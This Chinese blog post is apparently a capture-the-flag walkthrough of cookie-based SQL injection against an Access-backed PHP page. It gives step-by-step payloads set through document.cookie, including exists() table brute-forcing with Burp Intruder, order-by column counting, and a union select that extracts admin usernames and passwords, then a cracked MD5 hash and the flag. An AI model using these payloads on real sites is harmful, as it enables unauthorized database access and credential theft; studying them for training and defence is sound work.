Cookie注入【要求php5.4以下版本】

发布于:2022-12-19 ⋅ 阅读:(258) ⋅ 点赞:(0)

判断cookie注入

点击进入有传参的网页

看到id=171,先测试一下看看能否进行GET注入。在URL地址栏中输入and 1=1,发现提示了过滤这种关键词。于是转而去尝试cookie注入。
按F12进入开发者工具,并找到console(控制台),输入

document.cookie="id="+escape("171")

回车。
删除URL地址栏中的?id=171并回车,页面回显正常,且与id=171的页面相同,这表明存在cookie传参。

测试cookie注入

document.cookie="id="+escape("171 and 1=2")    报错
document.cookie="id="+escape("171 and 1=1")    正常访问



表明输入的语句被当做代码执行,表明存在cookie注入。

暴表名

Access只有一个库,它没有information库,也没有tables表。所以不知道表名时,只能通过盲注函数来判断了。开启burp工具,开启浏览器代理准备抓包。
接下来通过exists()函数来爆破表名。
输入:

document.cookie="id="+escape("171 and exists(select *from a)")


传入intruder模块进行跑包,用sqlmap中自带的字典(data文件夹中,txt文件里的common-tables.txt文件)。
其中 a 是爆破点主要用来查表名


表明如上,看到跑出了很多表,比如admin、user、news等。账号密码一般在盛行Access数据库的年代,都放在admin表的username和password字段中,所以我们重点查找admin表中的字段。

判断字段数

判断当前页面的字段数,这将有助于我们判断admin表的字段数。
首先输入:

document.cookie="id="+escape("171 order by 1")

order by 1到order by 10都回显正常,但order by 11报错,因此字段数为10,下一步查询回显点有哪几位?

判断回显点

输入:

document.cookie="id="+escape("171 union select 111,222,333,444,555,666,777,888,999,101010 from admin")


找见如图中的回显点。
得到显错位为:
2,3,7,8,9
查看网页源代码,搜索其他几个没显示在页面上的数字,看看有没有隐藏的显错位:

查询用户名和密码

输入:

document.cookie="id="+escape("171 union select 1,username,3,4,5,6,password,8,9,10 from admin ")


因此用户名为:admin
密码为16位小写MD5加密,解密后:welcome

登录后台得到flag

进入后台

登录

得到flag为:zkz{welcome-control}

最后提交flag即可


网站公告

今日签到

点亮在社区的每一天
去签到